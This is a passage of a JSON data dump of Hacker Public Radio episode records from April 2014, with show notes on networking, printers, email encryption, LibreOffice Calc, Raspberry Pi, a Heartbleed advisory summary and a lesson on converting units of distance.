      \n\n","hostid":115,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Sega Genesis,Sega Megadrive,VGM,Video Game Music,SDCC,Small Device C Compiler","version":0,"downloads":1351,"valid":1}, {"id":1477,"date":"2014-04-01","title":"OSI layer 3","duration":1720,"summary":"OSI layer 3","notes":"

      Spoiler

      \n

      Yes we would listen to them reading a phone book. A link for the younger listeners that may have never seen a https://en.wikipedia.org/wiki/Telephone_directory.

      \n\n

      \nIn today's show we continue our look at The OSI model for network communications, with examples of Layer 3 been given with particular focus on Geography diverse Host addressing. \n

      From Wikipedia: https://en.wikipedia.org/wiki/OSI_layer_3

      \n\n

      In the seven-layer OSI model of computer networking, the network layer is layer 3. The network layer is responsible for packet forwarding including routing through intermediate routers, whereas the data link layer is responsible for media access control, flow control and error checking.

      \n\n

      Functions

      \n

      The network layer provides the functional and procedural means of transferring variable-length data sequences from a source to a destination host via one or more networks, while maintaining the quality of service functions.

      \n

      Functions of the network layer include:

      \n
        \n
      • Connection model: connectionless communication
      • \n
      \n
      \n
      For example, IP is connectionless, in that a datagram can travel from a sender to a recipient without the recipient having to send an acknowledgement. Connection-oriented protocols exist at other, higher layers of the OSI model.
      \n
      \n
        \n
      • Host addressing
      • \n
      \n
      \n
      Every host in the network must have a unique address that determines where it is. This address is normally assigned from a hierarchical system. For example, you can be \"Fred Murphy\" to people in your house, \"Fred Murphy, 1 Main Street\" to Dubliners, or \"Fred Murphy, 1 Main Street, Dublin\" to people in Ireland, or \"Fred Murphy, 1 Main Street, Dublin, Ireland\" to people anywhere in the world. On the Internet, addresses are known as Internet Protocol (IP) addresses.
      \n
      \n
        \n
      • Message forwarding
      • \n
      \n
      \n
      Since many networks are partitioned into subnetworks and connect to other networks for wide-area communications, networks use specialized hosts, called gateways or routers, to forward packets between networks. This is also of interest to mobile applications, where a user may move from one location to another, and it must be arranged that his messages follow him. Version 4 of the Internet Protocol (IPv4) was not designed with this feature in mind, although mobility extensions exist. IPv6 has a better designed solution.
      \n
      \n

      Within the service layering semantics of the OSI network architecture, the network layer responds to service requests from the transport layer and issues service requests to the data link layer.

      \n
      ","hostid":109,"series":83,"explicit":0,"license":"CC-BY-SA","tags":"April Fools","version":0,"downloads":1470,"valid":1}, {"id":1478,"date":"2014-04-02","title":"Batteries Part 2","duration":2883,"summary":"My early experience with batteries & memorable battery operated devices","notes":"

      \nA show about batteries - Part 2\n

      \n

      \nMy Slow Battery Charger\nHahnel Powerstation TC Max, provides gentle overnight trickle charging \n

      \n\n\n\n

      \nPowerbase battery electric drill, had difficult finding a good link to an example of the drill. \nIt came with a selection of drill bits, sockets and two double ended screwdriver bits.\n

      \n\n\n\n

      \nCannon A80 digital Camera\n

      \n\n\n\n

      \nA picture of my trusty Philips 5890 Shaver\n

      \n\n\n\n

      \nGarmin Streetpilot i3 GPS Navigation System\n

      \n\n\n\n

      \nSansa Clip+\n

      \n\n\n","hostid":201,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"battery,charger,trickle charger","version":0,"downloads":1396,"valid":1}, {"id":1479,"date":"2014-04-03","title":"01 What is on my podcast player","duration":974,"summary":"Ahuka begins to tell us about the podcasts he listens to","notes":"

      \nWhat is on my podcast player\n

      \n\n\n

      My web site is at https://www.zwilnik.com/.

      \n\n

      Remember to support free software!

      \n","hostid":198,"series":75,"explicit":0,"license":"CC-BY-SA","tags":"podcasts,recommendations ","version":0,"downloads":1420,"valid":1}, {"id":1480,"date":"2014-04-04","title":"Continuous Ink Supply System","duration":1200,"summary":"How goibhniu got Ken to use a Brother MFC-J5910DW with a Continuous Ink Supply System","notes":"

      The cost of printing

      \n

      The reason that printers are so affordable is because like game consoles, they are not. They are sold at cost or below cost. The printer manufacturers make their money by selling you replacement ink cartridges that are very expensive. While you can use replacement cartridges, the manufactures will try and dissuade you from using them by displaying messages in the screens to \"alert\" you to the fact, or will include chips in their printers to prevent you from refilling or swapping their cartridges for cheaper alternatives. You should consider a laser printer option as while the toner cartridges are more expensive, even those supplied by the manufacturers work out cheaper over time. But if you wish to use a Ink Jet, then a serious alternative to lower the cost of printing is to use a CISS, Continuous ink supply system.

      \n

      CISS, Continuous ink supply system

      \n

      A CISS, Continuous ink supply system, is a system where you use cheaper non brand ink in your printer, just like you would with replacement no-name brand cartridges. Instead of having to refill the cartridges as they empty you supply them via a thin hose to an external reservoir. The advantage is that you can buy your ink in bulk and refill it without having to open the printer. This brings the cost of printing down considerably.
      \"link

      \n

      Now to pick a printer

      \n
        \n
      1. What Functions would you like ?
        In the Netherlands there is an excellent site called Tweakers.net that allow you to select devices by their features without having to gather all the information from various review sites that may/may not be influenced by outside forces. Although the site is in Dutch it should be fairly obvious what's being asked.
        https://tweakers.net/categorie/922/printers/producten/ (Google Translate version)
      2. \n
      3. Will it work with Linux
        Once you short list the printer(s) you like, head over to https://www.openprinting.org/printers to find out if it's supported by Linux and by extension Mac/iOS. Do this even if you plan to run Windows as it proves that the printer is popular and is likely to be supported.
      4. \n
      5. Will it really work with Linux
        Support is a big word and while it may be trivial for some to recompile a Kernel and X to get the thing working. It saves a lot of time and effort if you look around on the Linux Distributions forums to see if there are reported problems installing the printer. A good search is \"${your printer model number} linux howto\", check the dates on the posts as well paying more attention to the newer ones. Don't worry if you find a HowTo on another distribution than the one you are using as the chances are good that it will also apply to your install.
      6. \n
      7. Can you easily use replacement cartridges ?
        For to answer this, you will need to search in your local stores and on-line to see if there is a popular replacement option available. You should pay particular care to whether the cartridges require a chip or not.
      8. \n
      9. Is there a CISS option
        Now you need to check for a CISS supplier and to see whether they have a supported model for your printer and if there is instruction videos on how to install them
        For my purposes \"City Ink Express\" https://www.cityinkexpress.co.uk/ciss fitted the bill on both counts. They are a UK store and the only purchase I made arrived before the printer I ordered and the ink system seems to work fine.
      10. \n
      \n

      Brother MFC-J5910DW

      \n

      I ended up going with the \"Brother MFC-J5910DW\" as we were looking for a printer that could scan to the network, print A3, A4 duplex, as well as supporting Linux. At the time of writing the Brother printers do not use any chips and allow you to replace the cartridges. One annoying thing was that when the ink in one of the supplied cartridges went empty (after printing 10 A3 pages), it no longer allowed me to scan to the network. Fortunately I had the CISS system ready to rock and to be honest I was dreading installing it.

      \n

      Even if you don't want to purchase your CISS system from City Ink Express, you should have a look at their videos. For my printer there were three that were appropriate, namely how to Fill and prime it, how to install it and (for the future) how to refill it. I'm not going to waste time on my experiences as I have nothing to add to the videos other than to say, you may want to put on a pair of gloves and do your work over a news paper to capture any ink that spills.

      \n

      How to fill and prime brother Ciss for LC980 -LC985 - LC1100 -LC1240 - LC1280

      \n

      Ciss continuous ink system for Brother LC1220, LC1240, LC1280 Printers

      \n

      how to top up a brother ciss

      \n

      Result

      \n

      I'm not using the system or the printer long enough to give a full review but the CISS system has saved two birthday parties so not a bad start.

      \n

      \"The

      \n

      \"CISS

      \n

      Links

      \n\n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"printer,inkjet,continuous ink supply system,ciss","version":0,"downloads":1428,"valid":1}, {"id":1481,"date":"2014-04-07","title":"Encryption and Gmail","duration":987,"summary":"This looks at how you can use encryption to sign email and to privately secure it in Gmail.","notes":"

      \nLast time we looked at how you can use GPG and Enigmail to digitally sign or encrypt messages in Thunderbird. But today many people use web-based mail, and one of the most popular is Googles Gmail. Others include Outlook.com and Yahoo, but using any of them is pretty similar. So since I have a Gmail account handy, I will use that to demonstrate encryption in web mail accounts.\n

      \n

      \nThe important thing you must keep in mind is that this relies on you using your GPG keys to either sign or encrypt the message before it leaves your computer, what Steve Gibson calls Pre-Interent Encryption, or PIE. The flaw in what Lavabit did (discussed in previous lesson) was to use keys that the mail provider controlled, and these keys could be (and were) demanded by the the government.. If you use your own GPG keys that you control, no provider (Google, in this case) is even capable of giving anything to the government other than a blob of random nonsense.\n

      \n

      \nTo do this, I will use an extension for Googles Chrome Browser called Mailvelope. This is also available for Firefox, but in my case I use Chrome to access my Gmail account., so using a Chrome extension makes sense for me. The first thing to do is go to the Chrome store, search for Mailvelope, and install it.\n

      \n

      \nFor the remainder of the show notes please see https://www.zwilnik.com/?page_id=546\n

      \n\n

      Links

      \n\n","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"encryption, email","version":0,"downloads":1474,"valid":1}, {"id":1482,"date":"2014-04-08","title":"02 What is on my podcast player","duration":938,"summary":"Ahuka continues with the list of podcasts he listens to","notes":"

      What is on my podcast player

      \n\n

      My web site is at https://www.zwilnik.com/.

      \n

      Remember to support free software!

      \n","hostid":198,"series":75,"explicit":0,"license":"CC-BY-SA","tags":"podcasts,recommendations","version":0,"downloads":1398,"valid":1}, {"id":1483,"date":"2014-04-09","title":"HPR Community News for March 2014","duration":3886,"summary":"HPR Community News for March 2014","notes":"\"\"\n

      In today's community news we discuss the happenings in the HPR community. On the mumble were Dave Morriss and Ken Fallon, while we were joined by Pokey and NYBill from the North East Linux Fest. During the show we also heard from Bruce Patterson formally of the Distro weekly podcast. x1101 a HPR listener and soon to be new contributor and finally Paul from paul dot com Paul's Security Weekly.\n

      \n\n

      New hosts

      \n

      \nThere were no new hosts this month.\n

      \n\n

      Running out of shows

      \n

      We got very few shows lately and were it not for the backup shows been moved into the main queue we would be in trouble.

      \n\n\"Queue\n\n

      Last Months Shows

      \n\n\n\n\n\n\n\n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n
      id\ntitle\nhost\n
      1456HPR Community News for January 2014HPR Admins
      1457Xubuntu, Kali on EeePc, Markdown Stuff, Pogoplug 4, and more.Beto
      1458Free Culture and Open AnimationSeetee
      1459Locational Privacy with retrotech-the lowly pagerdeepgeek
      1460The road warrios command line combat life.Knightwise
      1461FOSDEM Keysigning EventDave Morriss
      1462Encryption and Email with ThunderbirdAhuka
      1463Code Is a Life Sucking Abyss, Also My Story sigflup
      1464HPR Audiobook Club: Space CaseyHPR_AudioBookClub
      146524 - LibreOffice Writer A Brochure ProjectAhuka
      1466Thoughts on GPSpokey
      1467How to win Find-The-Difference gamespokey
      1468A Whole Lot of Nothing: Chromebook EOL, CentOS WTF, Non Mainstream GNU/Linux Distros and more...Beto
      1469HPR Community News for February 2014HPR Admins
      1470Learn to read time with ccClockKen Fallon
      1471Encrypt Your Stuff With Blowfish sigflup
      1472How I Found LinuxCurtis Adkins (CPrompt^)
      1473FOSDEM DiscussionDave Morriss
      1474A behind the Curtian Look at OsmAnd (OSM Automated Navigation Directions) with Pokey and DavidDavid Whitman
      147525 - LibreOffice Calc What Is A SpreadsheetAhuka
      1476Sega Genesis Music Driversigflup
      \n\n

      Mailing List discussions

      \n

      \nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes place on the Mail List which is open to all HPR listeners and contributors. The discussions are open and available on the Gmane archive.\n

      \n

      \nDiscussed this month was:\n

      \n\n

      Backup Shows

      \n

      \nIn a discussion started by Dave Morris. Some felt that the content was getting stale, and keeping shows for 2 years or even 3 months was too long. Others felt that these shows were contributed with the purpose of been used in an emergency and therefore should be timeless.
      \nEventually it was left to each of the contributors that had shows in the backup queue to release them, or to set them as emergency shows. The website has been updated to reflect this change.
      \nSummary\n

      \n\n

      HPR_AudioBookClub

      \n

      \nThe next audiobook is Shaman Tales Book 1: South Coast by Nathan Lowell. It's available on https://podiobooks.com/title/shaman-tales-1-south-coast/. \n

      \n
      \nwget https://podiobooks.com/rss/feeds/episodes/shaman-tales-1-south-coast/ -O - | xmlstarlet sel -T -t -m '/rss/channel/item/enclosure' -v \"@url\" -n - | grep 'PB-'| while read chapter;do wget $chapter;done\n
      \n\n

      New Podcasts

      \n\n\n

      Round table

      \n

      \nThe mumble server is still available for Recording round table discussions mumble.openspeak.cc Port: 64747\n

      \n\n

      Reserved slots

      \n

      \nJuly 8 is reserved by davidWHITMAN\n

      \n\n

      Usefulness of the Community News Show/Reserved Slot

      \n

      \nLast month we asked if the community news should continue - and yes it should. We are open to suggestions on how to improve it.
      \nIt was also agreed to allow this show to be reserved.\n

      \n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":1323,"valid":1}, {"id":1484,"date":"2014-04-10","title":"TuxJam31","duration":4878,"summary":"Andrew Conway presents TuxJam episode 31, a special for HPR","notes":"

      \nTuxJam is a podcast that reviews lesser known Free and Open Source Software\nprojects interspersed with Creative Commons licensed music. TuxJam 31\nis a special for HPR.\n

      \n

      \nSee https://unseenstudio.co.uk/tuxjam-ogg/tuxjam-episode-31/\n

      ","hostid":268,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"astronomy","version":0,"downloads":1421,"valid":1}, {"id":1485,"date":"2014-04-11","title":"26 - LibreOffice Calc Cells","duration":1275,"summary":"This episode looks at the fundamental unit of a spreadsheet, the cell, and introduces addressing and","notes":"

      LibreOffice Calc: Cells

      \n

      All spreadsheets have the same basic structure, a table of rows and columns. Columns are headed up A, B, C, and so on. After Z, the next column is AA, then AB, AC, AD, and so on. The maximum number of columns is 1024. Rows are numbered 1,2,3 and so on, and the maximum number of rows is 1024*1024, or 1,048,576. At this time I am not aware of any plans to increase these numbers, though that could change if competitive pressures make it necessary.

      \n

      Where a row and column intersect, there is a cell, which is given the address of the column followed by the row, e.g. A1, but never 1A. This is very useful since you can use the contents of a cell in a calculation by simply using the cell address. For example, to add the value of cell B4 to the value in cell C3 and store it, you would write “=B4+C3″ in the cell where you want to store the sum. Learning to use cell addresses is extremely important, so get in the habit of doing this at every opportunity.

      \n

      \nFor the rest of this article see https://www.ahuka.com/?page_id=706\n

      ","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Calc, Spreadsheet","version":0,"downloads":1389,"valid":1}, {"id":1486,"date":"2014-04-14","title":"Linux Luddites Episode 11 - Interview with Rob Landley","duration":7222,"summary":"Ken Fallon promotes the \"Linux Luddites\" podcast","notes":"

      \nThis show is is licensed under a Creative Commons Attribution-NonCommercial 4.0 International License.\n

      \n\n

      \nAs stated on the HPR Contribution page\n

      \n

      \nWe will continue to promote new podcasts and other creative commons material but due to a lack of slots, we are only releasing material created exclusively for HPR. If there is a piece of creative commons content that you would like to promote, then feel free to record a regular show where you introduce the content and explain why it is important, providing links to where we can get more information. \n

      \n

      \nToday I am doing just that. As a member of the HPR community, I would like to bring the podcast LINUX LUDDITES with the tag line \"Not all change is progress\". Taking their name from \"Linux\" the an operating system kernel by Linus Torvalds, and \"Luddites\" from the 19th-century English textile artisans who protested against newly developed labour-saving machinery.\n

      \n

      \nI am submitting Episode 11 as it includes a fascinating interview with Rob Landley, former maintainer of BusyBox and covers among other things his experiences of GPL enforcement. For complete episode show notes see https://linuxluddites.com/shows/episode-11/ \n

      \n

      \nIf this podcast is not in your feed, you would do very well to add it.\n

      \n

      \nIf there is a show is new to the scene, ie not on the linuxlink.net, then contact us about it and also consider submitting an episode as a featured podcast.\n

      \n\n

      Links

      \n\n","hostid":30,"series":78,"explicit":1,"license":"CC-BY-NC","tags":"linux,busybox,podcast","version":0,"downloads":1457,"valid":1}, {"id":1487,"date":"2014-04-15","title":"How I Found Linux","duration":376,"summary":"New host x1101 describes how he got into Linux","notes":"In today's show new host x1101, fulfils his promise made at NELF on the Community News and submits his first show on on how he got into Linux.","hostid":276,"series":29,"explicit":0,"license":"CC-BY-SA","tags":"linux","version":0,"downloads":1479,"valid":1}, {"id":1488,"date":"2014-04-16","title":"What's on My Podcatcher","duration":1116,"summary":"Keith Murray talks about his favourite podcasts","notes":"

      \nAfter listening to Ahuka describe his favourite podcasts on HPR1479 and HPR1482 I was surprised to see how few of the shows we listen to overlap. There are so many podcasts out there it's always good to be able to get recommendations. I present to you my list of 30 podcasts (I had to cull the list down a bit).\n

      \n\n","hostid":266,"series":75,"explicit":0,"license":"CC-BY-SA","tags":"podcast,feed","version":0,"downloads":1433,"valid":1}, {"id":1489,"date":"2014-04-17","title":"Setting up a Raspberry Pi and RaspBMC","duration":3076,"summary":"Putting together a Raspberry Pi, installing the OS and setting up RaspBMC","notes":"

      \nIn this episode CPrompt and his friend Matt go through their entire process of putting together a Raspberry Pi, \ninstalling the OS and setting up RaspBMC.\n

      \n\n

      Links:

      \n\n","hostid":252,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Raspberry Pi,RPI,RaspBMC","version":0,"downloads":1496,"valid":1}, {"id":1490,"date":"2014-04-18","title":"HPR at NELF 2014 Part1","duration":1443,"summary":"Conference interviews","notes":"

      In this episode, nybill and pokey conduct interviews and generally have a good time at the 2014 Northeast GNU/Linux Fest.

      \n

      Some links to follow for things that were discussed in this episode:

      \n\n

      We all had a great time recording this show, and we hope you enjoyed it as well. Please join us at the next Northeast Gnu/Linux Fest if you can. Thank you very much for listening.

      \n

      Photos from NELF 2014

      \n

      Sincerely, The HPR conference crew

      \n

      P.S. Some people enjoy finding mistakes. For their enjoyment, we have included a few.

      \n","hostid":128,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"interviews","version":0,"downloads":1473,"valid":1}, {"id":1491,"date":"2014-04-21","title":"Heartbleed","duration":1297,"summary":"A summary of the \"Heartbleed\" OpenSSL vulnerability","notes":"

      \nThe \"Heartbleed\" vulnerability in OpenSSL (CVE-2014-0160) is a bounds checking\nerror in the heartbeat implementation that could return up to 64K of private\ndata to the client. This can lead to server certificate private keys, session\ncookies, clear text passwords, or other sensitive data being leaked from the\nserver to the client. This vulnerability exists in OpenSSL versions 1.0.1 through 1.0.1f and 1.0.2 beta.\n

      \n

      \nIt is important for server administrators to update OpenSSL as soon as possible\nand take steps to secure any private data which may have been leaked. This may\ninclude updating server certificates and revoking certificates that may have\nbeen compromised.\n

      \n

      \nUsers should ensure that web sites they use have been secured and should update\npasswords or other authentication information.\n

      \n

      \nCVE info: https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160\n

      \n\n

      \n\"Heartbleed\n

      \n\n","hostid":257,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"heartbleed,openssl,vulnerability,security","version":0,"downloads":1559,"valid":1}, {"id":1492,"date":"2014-04-22","title":"HPR at NELF 2014 Part2","duration":2115,"summary":"Conference Interviews","notes":"

      \nIn this episode, nybill and pokey continue conducting interviews and having a good time at the 2014 Northeast GNU/Linux Fest.\n

      \n

      \nSome links to follow for things that were discussed in this episode:\n

      \n\n\n\n

      \nWe all had a great time recording this show, and we hope you enjoyed it as well. Please join us at the next Northeast Gnu/Linux Fest if you can. Thank you very much for listening.\n

      \n\n\n

      \nPhotos from NELF 2014\n

      \n\n\n\n

      \nSincerely,\nThe HPR conference crew\n

      \n

      \nP.S. Some people enjoy finding mistakes. For their enjoyment, we have included a few.\n

      ","hostid":235,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"interviews","version":0,"downloads":1344,"valid":1}, {"id":1493,"date":"2014-04-23","title":"The Next Gen is You (1/2)","duration":2105,"summary":"Klaatu talks about Steam on Linux and building a system to run it - part 1","notes":"

      Steam OS or Steam on Linux, anti-micro for game controller optimisation.\n

      \n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"steam, games, hardware","version":0,"downloads":1508,"valid":1}, {"id":1494,"date":"2014-04-24","title":"The Next Gen is You (2/2)","duration":1516,"summary":"Klaatu talks about Steam on Linux and building a system to run it - part 2","notes":"

      \nSteam OS or Steam on Linux, anti-micro for game controller optimisation.\n
      \nPart 2 of 2
      \nhttps://straightedgelinux.com/blog/opinions/box.html\n

      \n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"steam,game,hardware","version":0,"downloads":1443,"valid":1}, {"id":1495,"date":"2014-04-25","title":"27 - LibreOffice Calc - Calculations and the Formula Bar","duration":1401,"summary":"This episode looks at the creating and using formulas in spreadsheets.","notes":"

      Since the main purpose of a spreadsheet is to perform calculations it is appropriate that we consider just how this is done.

      \n

      In general, a cell of a spreadsheet can contain one of three things:

      \n
        \n
      • A number
      • \n
      • Text
      • \n
      • A formula
      • \n
      \n

      All calculations are done using formulas. A formula occurs whenever a cell has contents that begin with an equals sign, which is the signal to Calc that it needs to perform a calculation. For instance, if a cell contains \"A3+B3\", Calc would examine this, see the letters and the plus sign, and decide that the contents of the cell were a text string. After all, it cannot be a pure number with those other things there. But place an equals sign in front, so that the contents now read \"=A3+B3\" and Calc knows that this is formula, and will perform the calculation. And one of the best ways to interact with a cell that contains a formula is to use the Formula Bar, which normally appears just above the cells of the spreadsheet proper:

      \n

      For the remainder of the show notes please read: https://www.ahuka.com/?page_id=723\n

      \n\n\n\n","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Calc, Spreadsheet, formulas","version":0,"downloads":1455,"valid":1}, {"id":1496,"date":"2014-04-28","title":"wiki on the raspberry pi","duration":1128,"summary":"My experience of playing with wiki software on the raspberry pi","notes":"

      \nMy experience of playing with wiki software on the raspberry pi, I forgot to mention I run the standard Raspbian distribution on my pi\nif you run something else your mileage may vary.\n

      \n

      \nWhen I listened to the show I noticed a few mistakes, there may be others as the show was pulled together rather hastily\n

      \n

      \n1. The raspberry pi has either 256 or 512 MB of memory Not KB's oops\n

      \n

      \n2. You can automatically create pages using camel-case words they don't need to start with the word wiki so in my example the page WikiNotes\ncould just as easily be called GuffNotes. This is because at first I didnt appreciate the meaning of the word camelcase, you learn something \nnew every day!\n

      \n

      \n3. Wikidot still provides a free account, oops again!\n

      \n

      \nwikidot\n

      \n\n\n\n

      \ndokuwiki\n

      \n\n\n\n

      \ndidiwiki\n

      \n\n\n\n

      \nsed man page\n

      \n\n\n\n

      \nsome sed tutorial and examples\n

      \n\n\n","hostid":201,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Raspberry Pi,Wikidot,DokuWiki,Apache,DidiWiki,sed","version":0,"downloads":1459,"valid":1}, {"id":1497,"date":"2014-04-29","title":"Practical Math - Units - Distances and Area, Part 1","duration":2288,"summary":"Charles in NJ continues his Practical Math series with an episode on units of distance","notes":"
      \nHPR Episode: Using and Converting Between Units of Distance\n\nIntro: Last time, we talked in general terms about units, numbers and\nhow they might be useful in practice.  In this episode, we address some\nspecific measurement units that apply to distance and area, and how we\nmight convert from one system to another to better understand both.\n\nEntire point of this episode is this: Carry units in calculations on \n  distances and areas, and you'll have more success in using them in \n  your life.  \n\n\n\nSegment 1:  Distance and Area in the English system\n\n1. Series will focus on English and Metric systems.\n   a. Basic units of distance: inch, foot, yard, mile\n   b. Basic units of area: square inch, square foot, acre, square mile\n\n\n2. Other units of distance and area do exist\n   a. Barleycorn for shoe sizes (1/3\")\n   b. Hand for describing horses (4\")\n   c. Rod for surveying (16-1/2 feet)\n   d. Chain, also for surveying (4 linear rods, 66 feet, 22 yards)\n   e. Furlong from horse racing and agriculture (220 yards, 10 chains)\n   f. League (about an hour's walk) usually assumed to be 3 miles\n      - Nautical: technical unit that's exactly 3 knots\n   g. Square yard may be used in quotes for carpet installations\n\nTable of Units: https://www.csgnetwork.com/converttable.html\n\n\nBrilliant Insight #1: Units of distance were originally arbitrary.  We \n  did not standardize on inches, feet, miles, and so on because these \n  are magical units with special merits.  They were convenient at the \n  time and place where they were invented. \n  \n  Standards let us talk to each other about distance without having to \n  be in the same place at the same time.  We'd have trouble if builders\n  builders had to ask for boards \"as long as my arm\", or a plank \n  that's \"Yea long\". \n\n\n3. Bizarre properties of some English units explained:\n\n   a. Rod/Chain: Used in measuring farmland and building plots\n      - Rod is 5-1/2 yards, or 16-1/2 feet.\n      - Chain is 4 linear rods, or the length of a surveyor's chain\n      - Could have been longer or shorter.  Standard emerged from usage.\n      \n   b. Furlong: Longest row you can plow without resting the animals\n      - Defined as 10 chains (220 yards)\n      \n   c. Acre: If you are on a quiz show, it's 43,560 square feet.  Huh?\n      - Defined as the area of a plot that's 1 chain wide by a furlong \n      - Putting definitions together, we peek ahead to make sense of it.\n      \n        1 acre = 1 chain x 1 furlong x 10 chains   <--- multiply by 1\n                                       ----------       (1 furlong is \n\t\t                       1 furlong         10 chains)\n      \n        Cancelling out furlongs upstairs and downstairs, we get\n\t\n            1 acre = 1 chain x 10 chains = 10 \"square chains\"\n      \n      - So the square feet in an acre is not (completely) arbitrary\n      - It's just mostly arbitrary, but consistent with shorter units.\n\n   d. Mile: Why is it 5,280 feet?  Similar story [Simplified version!]\n      - Roman occupation brought in a 5,000 foot mile (\"mille passus\")\n        Warning!  The Roman mile was defined in Roman feet, so it was\n           a bit shorter than I've painted it.  \n      \n      - Originated as 1,000 double-steps or \"paces\"\n      - Since 1,000 was \"mille\", unit naturally became \"mile\" in English\n      \n      - Elizabeth I (1603, or was it 1593?): \n        * Statute mile set to 8 furlongs (1,760 yds; 5,280 ft)\n        * Why 8 furlongs?  Why not 10 furlongs?\n\n        * Goal: Set new mile close to existing mile, but as N furlongs.\n\t    * New \"statute mile\" only about 5% longer than Roman mile\n\t      Note: Similar analysis could be used with other \"miles\".\n\t      \n\t    * Setting a mile to a even multiple of a furlong had practical \n\t        benefits, and keeping it close to the old unit reduced \n\t        conversion costs for \"legacy users\".\n\t        \n      - That's why we've inherited a mile that measures 5,280 feet.\n\n   To see why the story is tremendously more complicated than my account\n      https://en.wikipedia.com/wiki/Mile\n\n   Fun article on the mile.\n      https://www.sizes.com/units/mile.htm\n   \n   High school student theme on the furlong.\n      https://www.writework.com/essay/history-furlong by silverAlex2000\n\n   Brief dictionary article on the mile, referenced by Dr. Math \n      https://www.unc.edu/~rowlett/units/dictM.html#mile \n      Referred by https://mathforum.org/library/drmath/view/61126.html\n\n   Resource: StackExchange Physics and Maths sections (\"mile\" question)\n      https://physics.stackexchange.com/questions/57785/difference-between-nautical-and-terrestrial-miles\n\n\n4. Converting between units\n   a. Units of distance usually defined as multiples of each other\n      - 1 mile = 5,280 feet            - 1 hand = 4 inches\n      - 1 foot = 12 inches             - 1 yard = 36 inches\n      \n      Skipping ahead to look at the metric system, we now have:\n      - 1 inch = 2.54 centimeters (exact). Regularized in recent years.\n\n   b. This works because there's consensus on Zero distance, so we don't\n         have to adjust for differing origins, as we do with the \n         non-absolute temperature scales like Fahrenheit and Celsius. \n      \n      - We'll get to temperature, non-absolute scales in a later show.\n\n   c. For absolute scales, we can convert from one unit to another using\n         a \"conversion factor\".  That is, we can convert a measurement \n         expressed in one unit to its equivalent in another unit by \n         multiplying or dividing by some number to stretch or compress \n         the original unit to match the target unit.\n\t \n      - Example: I know that 1 foot is 12 inches, so how many inches are\n          there in 10 feet?  How feet are there in 660 inches?\n      \n      - It is clear that a factor of 12 ought to be involved, but how do\n          I know when to multiply or divide by 12 in the conversion?\n      \n      - Wait!  I'm serious.  When you see this problem for the first \n          time, you have to think this through to get it right.  \n        * Without a system in place, you always have to think about it.\n      \n      - Answers in naive setup:\n          (i) 10 feet = (12 * 10) inches = 120 inches\n         (ii) 660 inches = (660 / 12) feet = 55 feet\n\n5. Having a system.  Or units conversion as \"multiplying by One\"\n   \n   a. In each of the solutions I wrote down above, I start with an \n         equation that looks like this: X inches = Y feet.\n\n   b. Inches are not feet, and this way of writing down the calculation \n        does NOT help you figure you how the conversions should work, or\n        whether you should multiply or divide to get the right answers.\n\n   c. Here's a system for creating conversion factors that tell you what\n        to do at each step in the units conversion process.  It is based\n        on the very obvious fact that when I multiply any number by '1',\n        its value remains unchanged.\n\t\n      - Start with one of the identities we wrote down at the beginning.\n\t    In this case, let's use:  12 inches = 1 foot\n\t  \n      - If I divide equals by equals, the results are equal.\n\t    So I can write:\n\t  \n\t                                   12 inches      1 foot\n\t  12 inches = 1 foot implies that  ---------  =  --------- = 1\n\t\t\t\t\t     1 foot      12 inches\n      \n      -\tGet the first term by dividing my original identity by (1 foot).\n      - Get the second term by dividing my original identity by (12 in).\n\n\n   d. To make a conversion from feet to inches, I use:\n   \n\t\t\t   12 in    10 ft \n      10 ft * 1 = 10 ft * ------- = ------ * 12 in = 10 * 12 in = 120 in\n                           1 ft      1 ft\n      \n      - Note: In the fraction (10 ft) / (1 ft), the units \"cancel out\", \n                which leaves a unitless number.\n\t      \n      - Suppose we start with the other form for the conversion factor:\n   \n\t                       1 ft    10 square feet \n      10 feet * 1 = 10 feet * ------ = -------------- = ???\n                              12 in       12 inches\n      \n      - See?  When I use the form where the units don't cancel each \n          other, I get a resulting equation that is still correct.  It \n          just doesn't make much sense to me as a reader.\n      \n      - This is what you get when you \"divide by 12\" to convert feet to \n          inches, but the difference is that you KNOW something's wrong.  \n      \n      - You do not have to even look at the numbers to know that this \n         could not possibly be the right number of inches in 10 feet.\n\n\nBrilliant Insight #2: When you use unit conversion factors, you help \n  your cause by carrying along both sets of units in the form of a \n  fraction as you go through your calculation.  \n  \n  - If the units on the right-hand side of your final equation don't \n    match the units you want (after everything else cancels out), your \n    numerical answer is almost certainly WRONG.\n  \n  - The implication here?  To convert units of distance, you need to \n       multiply or divide by a \n       \n       conversion factor = (X New_Units) / (Y Old_Units).  \n       \n    When you do this, write the conversion factor in its full fractional\n       form, and carry out all of the multiplications and cancellations.\n  \n  - If you do the conversion this way, and the units match, you only \n       have to check your arithmetic to be sure you've got it right.\n\n  - If the units you want do not match those on the right side of the \n       equal sign, you are solving the wrong problem.  The equation may \n       be correct, but it is not expressed in the units you wanted.\n\n\n 6. Let's use the system to solve the second example:\n  \n                               1 ft       660 in * 1 ft \n      660 in * 1 =  660 in *  -------  = --------------- = 55 feet\n                               12 in        12 in\n \n      Why?  The \"inches\" units cancel out because they appear in both \n        numerator and denominator (top/bottom, upstairs/downstairs) 